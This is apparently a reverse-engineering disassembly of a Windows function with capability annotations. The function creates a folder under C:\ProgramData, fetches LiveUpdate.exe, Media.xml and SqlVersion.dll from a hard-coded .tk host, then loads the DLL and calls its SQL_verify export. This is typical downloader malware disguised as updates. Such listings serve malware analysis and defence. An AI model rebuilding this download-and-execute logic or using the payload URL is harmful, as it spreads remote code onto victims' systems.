Function at 0x4019b0
Capabilities:
Access peb ldr_data
Create directory
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x402d98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
lea eax, [esp + 0x38]
lea ecx, [esp + 4]
push eax
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString_1
push str.C:ProgramData_
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 2
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 4]
mov byte [esp + 0x2c], 3
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push str.C:ProgramDataThunder_
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push str.LiveU
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 4
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0xc]
push str.pdate.dat
lea eax, [esp + 0x18]
push edx
push eax
mov byte [esp + 0x38], 5
call sub.MFC42.DLL_operator
lea ecx, [esp + 0xc]
push str.pdate360.dat
lea edx, [esp + 0x1c]
push ecx
push edx
mov byte [esp + 0x38], 6
call sub.MFC42.DLL_operator
mov eax, dword [esp + 8]
mov bl, 7
push 0
push eax
mov byte [esp + 0x34], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x20], esp
push str.setting.ini
push edx
push ecx
call sub.MFC42.DLL_operator
push ecx
lea ecx, [esp + 0x3c]
mov eax, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0xc]
push ecx
push edx
push eax
mov byte [esp + 0x40], 8
call sub.MFC42.DLL_operator_1
mov byte [esp + 0x34], bl
call fcn.004018f0
add esp, 4
lea ecx, [esp + 0xc]
mov eax, esp
mov dword [esp + 0x24], esp
push str.LiveUpdate.exe
push ecx
push eax
call sub.MFC42.DLL_operator
mov byte [esp + 0x30], 9
push ecx
mov edx, esp
mov dword [esp + 0x24], esp
lea eax, [esp + 0xc]
push str.LiveUpdate.exe
push eax
push edx
call sub.MFC42.DLL_operator
mov byte [esp + 0x34], bl
call fcn.004018f0
add esp, 4
lea edx, [esp + 0xc]
mov ecx, esp
mov dword [esp + 0x24], esp
push str.Media.xml
push edx
push ecx
call sub.MFC42.DLL_operator
push ecx
lea ecx, [esp + 0xc]
mov eax, esp
mov dword [esp + 0x24], esp
push str.Media.xml
push ecx
push eax
mov byte [esp + 0x40], 0xa
call sub.MFC42.DLL_operator
mov byte [esp + 0x34], bl
call fcn.004018f0
add esp, 4
lea eax, [esp + 0x18]
mov edx, esp
mov dword [esp + 0x24], esp
lea ecx, [esp + 0xc]
push eax
push ecx
push edx
call sub.MFC42.DLL_operator_1
push ecx
lea eax, [esp + 0x20]
mov edx, esp
mov dword [esp + 0x24], esp
lea ecx, [esp + 0xc]
push eax
push ecx
push edx
mov byte [esp + 0x40], 0xb
call sub.MFC42.DLL_operator_1
mov byte [esp + 0x34], bl
call fcn.004018f0
add esp, 4
lea eax, [esp + 0x14]
mov edx, esp
mov dword [esp + 0x24], esp
push str.SqlVersion.dll
push eax
push edx
call sub.MFC42.DLL_operator
push ecx
lea edx, [esp + 0xc]
mov ecx, esp
mov dword [esp + 0x24], esp
push str.SqlVersion9.dll
push edx
push ecx
mov byte [esp + 0x40], 0xc
call sub.MFC42.DLL_operator
mov byte [esp + 0x34], bl
call fcn.004018f0
add esp, 8
push str.SQL_verify
push str.C:ProgramDataSqlVersion.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x7d8
call eax
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0xffffffffffffffff
push 0x402dc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push str.http:__datacache.cloudservicesdevc.tk_picturess_2023_
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [esp + 4]
mov ecx, esp
mov dword [esp + 8], esp
push eax
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString_1
push ecx
mov byte [esp + 0x1c], 1
mov ecx, esp
mov dword [esp + 0x10], esp
push str.77.188.txt
call sub.MFC42.DLL_CString::CString
mov byte [esp + 0x1c], 0
call fcn.004019b0
add esp, 8
lea ecx, [esp]
mov dword [esp + 0x14], 0xffffffff
call fcn.004028ea
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 4